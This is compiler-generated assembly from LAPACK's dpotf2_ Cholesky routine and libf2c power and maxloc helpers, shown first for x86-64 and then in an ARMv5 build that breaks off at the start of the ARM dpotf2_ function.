mov DWORD PTR -36[rbp], eax
mov eax, DWORD PTR -36[rbp]
add eax, 1
mov DWORD PTR -32[rbp], eax
mov eax, DWORD PTR -32[rbp]
cdqe
sal rax, 3
neg rax
add QWORD PTR -88[rbp], rax
mov rax, QWORD PTR -104[rbp]
mov DWORD PTR [rax], 0
mov rax, QWORD PTR -72[rbp]
lea rsi, .LC4[rip]
mov rdi, rax
call lsame_@PLT
mov DWORD PTR -28[rbp], eax
cmp DWORD PTR -28[rbp], 0
jne .L69
mov rax, QWORD PTR -72[rbp]
lea rsi, .LC5[rip]
mov rdi, rax
call lsame_@PLT
test eax, eax
jne .L69
mov rax, QWORD PTR -104[rbp]
mov DWORD PTR [rax], -1
jmp .L70
.L69:
mov rax, QWORD PTR -80[rbp]
mov eax, DWORD PTR [rax]
test eax, eax
jns .L71
mov rax, QWORD PTR -104[rbp]
mov DWORD PTR [rax], -2
jmp .L70
.L71:
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -80[rbp]
mov eax, DWORD PTR [rax]
mov ecx, 1
test eax, eax
cmovle eax, ecx
cmp edx, eax
jge .L70
mov rax, QWORD PTR -104[rbp]
mov DWORD PTR [rax], -4
.L70:
mov rax, QWORD PTR -104[rbp]
mov eax, DWORD PTR [rax]
test eax, eax
je .L72
mov rax, QWORD PTR -104[rbp]
mov eax, DWORD PTR [rax]
neg eax
mov DWORD PTR -52[rbp], eax
lea rax, -52[rbp]
mov edx, 6
mov rsi, rax
lea rdi, .LC6[rip]
call xerbla_@PLT
mov eax, 0
jmp .L89
.L72:
mov rax, QWORD PTR -80[rbp]
mov eax, DWORD PTR [rax]
test eax, eax
jne .L74
mov eax, 0
jmp .L89
.L74:
cmp DWORD PTR -28[rbp], 0
je .L75
mov rax, QWORD PTR -80[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -52[rbp], eax
mov DWORD PTR -40[rbp], 1
jmp .L76
.L81:
mov eax, DWORD PTR -40[rbp]
sub eax, 1
mov DWORD PTR -48[rbp], eax
mov eax, DWORD PTR -40[rbp]
imul eax, DWORD PTR -36[rbp]
mov edx, eax
mov eax, DWORD PTR -40[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
movsd xmm2, QWORD PTR [rax]
movsd QWORD PTR -112[rbp], xmm2
mov eax, DWORD PTR -40[rbp]
imul eax, DWORD PTR -36[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
add rdx, rax
mov eax, DWORD PTR -40[rbp]
imul eax, DWORD PTR -36[rbp]
cdqe
add rax, 1
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
lea rsi, [rcx+rax]
lea rax, -48[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call ddot_@PLT
movapd xmm1, xmm0
movsd xmm0, QWORD PTR -112[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
movsd xmm1, QWORD PTR -16[rbp]
pxor xmm0, xmm0
comisd xmm0, xmm1
jnb .L77
lea rax, -16[rbp]
mov rdi, rax
call disnan_@PLT
test eax, eax
je .L78
.L77:
mov eax, DWORD PTR -40[rbp]
imul eax, DWORD PTR -36[rbp]
mov edx, eax
mov eax, DWORD PTR -40[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
movsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR [rax], xmm0
jmp .L79
.L78:
mov rax, QWORD PTR -16[rbp]
movq xmm0, rax
call sqrt@PLT
movq rax, xmm0
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -40[rbp]
imul eax, DWORD PTR -36[rbp]
mov edx, eax
mov eax, DWORD PTR -40[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
movsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR [rax], xmm0
mov rax, QWORD PTR -80[rbp]
mov eax, DWORD PTR [rax]
cmp DWORD PTR -40[rbp], eax
jge .L80
mov eax, DWORD PTR -40[rbp]
sub eax, 1
mov DWORD PTR -48[rbp], eax
mov rax, QWORD PTR -80[rbp]
mov eax, DWORD PTR [rax]
sub eax, DWORD PTR -40[rbp]
mov DWORD PTR -44[rbp], eax
mov eax, DWORD PTR -40[rbp]
add eax, 1
imul eax, DWORD PTR -36[rbp]
mov edx, eax
mov eax, DWORD PTR -40[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
lea rsi, [rdx+rax]
mov eax, DWORD PTR -40[rbp]
imul eax, DWORD PTR -36[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -40[rbp]
add eax, 1
imul eax, DWORD PTR -36[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
lea r8, [rdx+rax]
mov rdi, QWORD PTR -96[rbp]
lea rdx, -44[rbp]
lea rax, -48[rbp]
sub rsp, 8
push QWORD PTR -96[rbp]
push rsi
lea rsi, c_b12[rip]
push rsi
lea rsi, c__1[rip]
push rsi
push rcx
mov r9, rdi
lea rcx, c_b10[rip]
mov rsi, rax
lea rdi, .LC7[rip]
call dgemv_@PLT
add rsp, 48
mov rax, QWORD PTR -80[rbp]
mov eax, DWORD PTR [rax]
sub eax, DWORD PTR -40[rbp]
mov DWORD PTR -48[rbp], eax
movsd xmm1, QWORD PTR -16[rbp]
movsd xmm0, QWORD PTR .LC1[rip]
divsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -40[rbp]
add eax, 1
imul eax, DWORD PTR -36[rbp]
mov edx, eax
mov eax, DWORD PTR -40[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
lea rdi, [rdx+rax]
mov rdx, QWORD PTR -96[rbp]
lea rsi, -24[rbp]
lea rax, -48[rbp]
mov rcx, rdx
mov rdx, rdi
mov rdi, rax
call dscal_@PLT
.L80:
add DWORD PTR -40[rbp], 1
.L76:
mov eax, DWORD PTR -52[rbp]
cmp DWORD PTR -40[rbp], eax
jle .L81
jmp .L88
.L75:
mov rax, QWORD PTR -80[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -52[rbp], eax
mov DWORD PTR -40[rbp], 1
jmp .L83
.L87:
mov eax, DWORD PTR -40[rbp]
sub eax, 1
mov DWORD PTR -48[rbp], eax
mov eax, DWORD PTR -40[rbp]
imul eax, DWORD PTR -36[rbp]
mov edx, eax
mov eax, DWORD PTR -40[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
movsd xmm3, QWORD PTR [rax]
movsd QWORD PTR -112[rbp], xmm3
mov edx, DWORD PTR -40[rbp]
mov eax, DWORD PTR -36[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -40[rbp]
mov eax, DWORD PTR -36[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -96[rbp]
mov rdx, QWORD PTR -96[rbp]
lea rax, -48[rbp]
mov r8, rdi
mov rdi, rax
call ddot_@PLT
movapd xmm1, xmm0
movsd xmm0, QWORD PTR -112[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
movsd xmm1, QWORD PTR -16[rbp]
pxor xmm0, xmm0
comisd xmm0, xmm1
jnb .L84
lea rax, -16[rbp]
mov rdi, rax
call disnan_@PLT
test eax, eax
je .L85
.L84:
mov eax, DWORD PTR -40[rbp]
imul eax, DWORD PTR -36[rbp]
mov edx, eax
mov eax, DWORD PTR -40[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
movsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR [rax], xmm0
jmp .L79
.L85:
mov rax, QWORD PTR -16[rbp]
movq xmm0, rax
call sqrt@PLT
movq rax, xmm0
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -40[rbp]
imul eax, DWORD PTR -36[rbp]
mov edx, eax
mov eax, DWORD PTR -40[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
movsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR [rax], xmm0
mov rax, QWORD PTR -80[rbp]
mov eax, DWORD PTR [rax]
cmp DWORD PTR -40[rbp], eax
jge .L86
mov rax, QWORD PTR -80[rbp]
mov eax, DWORD PTR [rax]
sub eax, DWORD PTR -40[rbp]
mov DWORD PTR -48[rbp], eax
mov eax, DWORD PTR -40[rbp]
sub eax, 1
mov DWORD PTR -44[rbp], eax
mov eax, DWORD PTR -40[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -40[rbp]
imul eax, DWORD PTR -36[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
lea rsi, [rdx+rax]
mov edx, DWORD PTR -40[rbp]
mov eax, DWORD PTR -36[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -40[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -36[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
lea r10, [rdx+rax]
mov r8, QWORD PTR -96[rbp]
lea rdx, -44[rbp]
lea rax, -48[rbp]
sub rsp, 8
lea rdi, c__1[rip]
push rdi
push rsi
lea rsi, c_b12[rip]
push rsi
push QWORD PTR -96[rbp]
push rcx
mov r9, r8
mov r8, r10
lea rcx, c_b10[rip]
mov rsi, rax
lea rdi, .LC8[rip]
call dgemv_@PLT
add rsp, 48
mov rax, QWORD PTR -80[rbp]
mov eax, DWORD PTR [rax]
sub eax, DWORD PTR -40[rbp]
mov DWORD PTR -48[rbp], eax
movsd xmm1, QWORD PTR -16[rbp]
movsd xmm0, QWORD PTR .LC1[rip]
divsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -40[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -40[rbp]
imul eax, DWORD PTR -36[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
add rdx, rax
lea rsi, -24[rbp]
lea rax, -48[rbp]
lea rcx, c__1[rip]
mov rdi, rax
call dscal_@PLT
.L86:
add DWORD PTR -40[rbp], 1
.L83:
mov eax, DWORD PTR -52[rbp]
cmp DWORD PTR -40[rbp], eax
jle .L87
jmp .L88
.L79:
mov rax, QWORD PTR -104[rbp]
mov edx, DWORD PTR -40[rbp]
mov DWORD PTR [rax], edx
.L88:
mov eax, 0
.L89:
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L90
call __stack_chk_fail@PLT
.L90:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE21:
.size dpotf2_, .-dpotf2_
.section .rodata
.align 4
.LC0:
.long 1065353216
.align 8
.LC1:
.long 0
.long 1072693248
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "111180.c"
.text
.data
.align 2
.type junk, %object
.size junk, 30
junk:
.ascii "\012@(#)LIBF77 VERSION 19990503\012\000"
.global __aeabi_fdiv
.global __aeabi_fmul
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type spow_ui, %function
spow_ui:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16] @ float
str r1, [fp, #-20]
mov r3, #1065353216
str r3, [fp, #-12] @ float
ldr r3, [fp, #-20]
cmp r3, #0
beq .L2
ldr r3, [fp, #-20]
cmp r3, #0
bge .L3
ldr r3, [fp, #-20]
rsb r3, r3, #0
str r3, [fp, #-20]
ldr r1, [fp, #-16] @ float
mov r0, #1065353216
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-16] @ float
.L3:
ldr r3, [fp, #-20]
str r3, [fp, #-8]
.L7:
ldr r3, [fp, #-8]
and r3, r3, #1
cmp r3, #0
beq .L4
ldr r1, [fp, #-16] @ float
ldr r0, [fp, #-12] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [fp, #-12] @ float
.L4:
ldr r3, [fp, #-8]
lsr r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L9
ldr r1, [fp, #-16] @ float
ldr r0, [fp, #-16] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [fp, #-16] @ float
b .L7
.L9:
nop
.L2:
ldr r3, [fp, #-12] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size spow_ui, .-spow_ui
.global __aeabi_ddiv
.global __aeabi_dmul
.align 2
.syntax unified
.arm
.fpu softvfp
.type dpow_ui, %function
dpow_ui:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-28]
str r1, [fp, #-24]
str r2, [fp, #-32]
mov r2, #0
ldr r3, .L19
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-32]
cmp r3, #0
beq .L11
ldr r3, [fp, #-32]
cmp r3, #0
bge .L12
ldr r3, [fp, #-32]
rsb r3, r3, #0
str r3, [fp, #-32]
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, #0
ldr r1, .L19
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
.L12:
ldr r3, [fp, #-32]
str r3, [fp, #-16]
.L16:
ldr r3, [fp, #-16]
and r3, r3, #1
cmp r3, #0
beq .L13
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
.L13:
ldr r3, [fp, #-16]
lsr r3, r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #0
beq .L18
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
b .L16
.L18:
nop
.L11:
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L20:
.align 2
.L19:
.word 1072693248
.size dpow_ui, .-dpow_ui
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type cpow_ui, %function
cpow_ui:
@ args = 0, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #64
str r0, [fp, #-40]
str r1, [fp, #-48] @ float
str r2, [fp, #-44] @ float
str r3, [fp, #-52]
ldr r3, .L32
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, [fp, #-48] @ float
str r3, [fp, #-32] @ float
ldr r3, [fp, #-44] @ float
str r3, [fp, #-28] @ float
mov r3, #1065353216
str r3, [fp, #-16] @ float
mov r3, #0
str r3, [fp, #-12] @ float
ldr r3, [fp, #-52]
cmp r3, #0
beq .L30
ldr r3, [fp, #-52]
cmp r3, #0
bge .L23
ldr r3, [fp, #-52]
rsb r3, r3, #0
str r3, [fp, #-52]
sub r0, fp, #60
ldr r3, [fp, #-28] @ float
str r3, [sp] @ float
ldr r3, [fp, #-32] @ float
mov r2, #0
mov r1, #1065353216
bl __divsc3
ldr r3, [fp, #-60] @ float
str r3, [fp, #-48] @ float
ldr r3, [fp, #-56] @ float
str r3, [fp, #-44] @ float
ldr r3, [fp, #-48] @ float
str r3, [fp, #-32] @ float
ldr r3, [fp, #-44] @ float
str r3, [fp, #-28] @ float
.L23:
ldr r3, [fp, #-52]
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-20] @ float
mov r3, #1065353216
str r3, [fp, #-24] @ float
.L27:
ldr r3, [fp, #-36]
and r3, r3, #1
cmp r3, #0
beq .L24
sub r0, fp, #60
ldr r3, [fp, #-28] @ float
str r3, [sp] @ float
ldr r3, [fp, #-32] @ float
ldr r2, [fp, #-20] @ float
ldr r1, [fp, #-24] @ float
bl __mulsc3
ldr r3, [fp, #-60] @ float
str r3, [fp, #-16] @ float
ldr r3, [fp, #-56] @ float
str r3, [fp, #-12] @ float
ldr r3, [fp, #-16] @ float
str r3, [fp, #-24] @ float
ldr r3, [fp, #-12] @ float
str r3, [fp, #-20] @ float
.L24:
ldr r3, [fp, #-36]
lsr r3, r3, #1
str r3, [fp, #-36]
ldr r3, [fp, #-36]
cmp r3, #0
beq .L31
sub r0, fp, #60
ldr r3, [fp, #-28] @ float
str r3, [sp] @ float
ldr r3, [fp, #-32] @ float
ldr r2, [fp, #-28] @ float
ldr r1, [fp, #-32] @ float
bl __mulsc3
ldr r3, [fp, #-60] @ float
str r3, [fp, #-48] @ float
ldr r3, [fp, #-56] @ float
str r3, [fp, #-44] @ float
ldr r3, [fp, #-48] @ float
str r3, [fp, #-32] @ float
ldr r3, [fp, #-44] @ float
str r3, [fp, #-28] @ float
b .L27
.L30:
mov r3, #0
str r3, [fp, #-20] @ float
mov r3, #1065353216
str r3, [fp, #-24] @ float
b .L22
.L31:
nop
.L22:
ldr r3, [fp, #-40]
ldr r2, [fp, #-24] @ float
str r2, [r3] @ float
ldr r3, [fp, #-40]
ldr r2, [fp, #-20] @ float
str r2, [r3, #4] @ float
ldr r3, .L32
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L29
bl __stack_chk_fail
.L29:
ldr r0, [fp, #-40]
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L33:
.align 2
.L32:
.word .LC0
.size cpow_ui, .-cpow_ui
.section .rodata
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type zpow_ui, %function
zpow_ui:
@ args = 20, pretend = 8, frame = 88
@ frame_needed = 1, uses_anonymous_args = 0
sub sp, sp, #8
push {fp, lr}
add fp, sp, #4
sub sp, sp, #112
str r0, [fp, #-72]
add r1, fp, #4
stm r1, {r2, r3}
ldr r3, .L45
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldmib fp, {r2-r3}
str r2, [fp, #-60]
str r3, [fp, #-56]
add r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r2, #0
ldr r3, .L45+4
str r2, [fp, #-28]
str r3, [fp, #-24]
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #20]
cmp r3, #0
beq .L43
ldr r3, [fp, #20]
cmp r3, #0
bge .L36
ldr r3, [fp, #20]
rsb r3, r3, #0
str r3, [fp, #20]
sub r1, fp, #92
sub r3, fp, #52
ldmia r3, {r2-r3}
str r2, [sp, #16]
str r3, [sp, #20]
sub r3, fp, #60
ldmia r3, {r2-r3}
str r2, [sp, #8]
str r3, [sp, #12]
mov r2, #0
mov r3, #0
stm sp, {r2-r3}
mov r2, #0
ldr r3, .L45+4
mov r0, r1
bl __divdc3
sub r3, fp, #92
ldmia r3, {r2-r3}
stmib fp, {r2-r3}
sub r3, fp, #84
ldmia r3, {r2-r3}
str r2, [fp, #12]
str r3, [fp, #16]
ldmib fp, {r2-r3}
str r2, [fp, #-60]
str r3, [fp, #-56]
add r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-52]
str r3, [fp, #-48]
.L36:
ldr r3, [fp, #20]
str r3, [fp, #-64]
mov r2, #0
mov r3, #0
str r2, [fp, #-36]
str r3, [fp, #-32]
mov r2, #0
ldr r3, .L45+4
str r2, [fp, #-44]
str r3, [fp, #-40]
.L40:
ldr r3, [fp, #-64]
and r3, r3, #1
cmp r3, #0
beq .L37
sub r1, fp, #92
sub r3, fp, #52
ldmia r3, {r2-r3}
str r2, [sp, #16]
str r3, [sp, #20]
sub r3, fp, #60
ldmia r3, {r2-r3}
str r2, [sp, #8]
str r3, [sp, #12]
sub r3, fp, #36
ldmia r3, {r2-r3}
stm sp, {r2-r3}
sub r3, fp, #44
ldmia r3, {r2-r3}
mov r0, r1
bl __muldc3
sub r3, fp, #92
ldmia r3, {r2-r3}
str r2, [fp, #-28]
str r3, [fp, #-24]
sub r3, fp, #84
ldmia r3, {r2-r3}
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #28
ldmia r3, {r2-r3}
str r2, [fp, #-44]
str r3, [fp, #-40]
sub r3, fp, #20
ldmia r3, {r2-r3}
str r2, [fp, #-36]
str r3, [fp, #-32]
.L37:
ldr r3, [fp, #-64]
lsr r3, r3, #1
str r3, [fp, #-64]
ldr r3, [fp, #-64]
cmp r3, #0
beq .L44
sub r1, fp, #92
sub r3, fp, #52
ldmia r3, {r2-r3}
str r2, [sp, #16]
str r3, [sp, #20]
sub r3, fp, #60
ldmia r3, {r2-r3}
str r2, [sp, #8]
str r3, [sp, #12]
sub r3, fp, #52
ldmia r3, {r2-r3}
stm sp, {r2-r3}
sub r3, fp, #60
ldmia r3, {r2-r3}
mov r0, r1
bl __muldc3
sub r3, fp, #92
ldmia r3, {r2-r3}
stmib fp, {r2-r3}
sub r3, fp, #84
ldmia r3, {r2-r3}
str r2, [fp, #12]
str r3, [fp, #16]
ldmib fp, {r2-r3}
str r2, [fp, #-60]
str r3, [fp, #-56]
add r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-52]
str r3, [fp, #-48]
b .L40
.L43:
mov r2, #0
mov r3, #0
str r2, [fp, #-36]
str r3, [fp, #-32]
mov r2, #0
ldr r3, .L45+4
str r2, [fp, #-44]
str r3, [fp, #-40]
b .L35
.L44:
nop
.L35:
ldr r1, [fp, #-72]
sub r3, fp, #44
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r1, [fp, #-72]
sub r3, fp, #36
ldmia r3, {r2-r3}
str r2, [r1, #8]
str r3, [r1, #12]
ldr r3, .L45
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L42
bl __stack_chk_fail
.L42:
ldr r0, [fp, #-72]
sub sp, fp, #4
@ sp needed
pop {fp, lr}
add sp, sp, #8
bx lr
.L46:
.align 2
.L45:
.word .LC1
.word 1072693248
.size zpow_ui, .-zpow_ui
.global __aeabi_idiv
.align 2
.syntax unified
.arm
.fpu softvfp
.type pow_ii, %function
pow_ii:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #0
bgt .L48
ldr r3, [fp, #-20]
cmp r3, #0
beq .L49
ldr r3, [fp, #-16]
cmp r3, #1
bne .L50
.L49:
mov r3, #1
str r3, [fp, #-12]
b .L48
.L50:
ldr r3, [fp, #-16]
cmn r3, #1
beq .L51
ldr r3, [fp, #-16]
cmp r3, #0
bne .L52
ldr r1, [fp, #-16]
mov r0, #1
bl __aeabi_idiv
mov r3, r0
b .L53
.L52:
mov r3, #0
.L53:
str r3, [fp, #-12]
b .L48
.L51:
ldr r3, [fp, #-20]
rsb r3, r3, #0
str r3, [fp, #-20]
.L48:
ldr r3, [fp, #-20]
cmp r3, #0
bgt .L54
ldr r3, [fp, #-20]
cmp r3, #0
beq .L55
ldr r3, [fp, #-16]
cmp r3, #1
beq .L55
ldr r3, [fp, #-16]
cmn r3, #1
bne .L55
.L54:
ldr r3, [fp, #-20]
str r3, [fp, #-8]
mov r3, #1
str r3, [fp, #-12]
.L59:
ldr r3, [fp, #-8]
and r3, r3, #1
cmp r3, #0
beq .L56
ldr r3, [fp, #-12]
ldr r2, [fp, #-16]
mul r3, r2, r3
str r3, [fp, #-12]
.L56:
ldr r3, [fp, #-8]
lsr r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L61
ldr r3, [fp, #-16]
mov r2, r3
mul r2, r3, r2
mov r3, r2
str r3, [fp, #-16]
b .L59
.L61:
nop
.L55:
ldr r3, [fp, #-12]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size pow_ii, .-pow_ii
.global __aeabi_dcmplt
.align 2
.syntax unified
.arm
.fpu softvfp
.type dmaxloc_, %function
dmaxloc_:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #-28]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-28]
str r3, [fp, #-16]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-20]
b .L63
.L66:
ldr r3, [fp, #-20]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L64
ldr r3, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-20]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
.L64:
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L63:
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
cmp r2, r3
ble .L66
ldr r2, [fp, #-16]
ldr r3, [fp, #-28]
sub r3, r2, r3
add r3, r3, #1
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size dmaxloc_, .-dmaxloc_
.global __aeabi_fcmplt
.align 2
.syntax unified
.arm
.fpu softvfp
.type smaxloc_, %function
smaxloc_:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #-28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-16] @ float
ldr r3, [fp, #-28]
str r3, [fp, #-8]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-12]
b .L70
.L73:
ldr r3, [fp, #-12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
beq .L71
ldr r3, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-16] @ float
.L71:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L70:
ldr r2, [fp, #-12]
ldr r3, [fp, #-32]
cmp r2, r3
ble .L73
ldr r2, [fp, #-8]
ldr r3, [fp, #-28]
sub r3, r2, r3
add r3, r3, #1
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size smaxloc_, .-smaxloc_
.data
.align 2
.type c__1, %object
.size c__1, 4
c__1:
.word 1
.align 3
.type c_b10, %object
.size c_b10, 8
c_b10:
.word 0
.word -1074790400
.align 3
.type c_b12, %object
.size c_b12, 8
c_b12:
.word 0
.word 1072693248
.section .rodata
.align 2
.LC2:
.ascii "U\000"
.align 2
.LC3:
.ascii "L\000"
.align 2
.LC4:
.ascii "DPOTF2\000"
.global __aeabi_dsub
.global __aeabi_dcmple
.align 2
.LC5:
.ascii "Transpose\000"
.align 2
.LC6:
.ascii "No transpose\000"
.align 2
.LC7:
.word __stack_chk_guard
.text
.align 2
.global dpotf2_
.syntax unified
.arm
.fpu softvfp
.type dpotf2_, %function
dpotf2_:
@ args = 4, pretend = 0, frame = 80
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #112
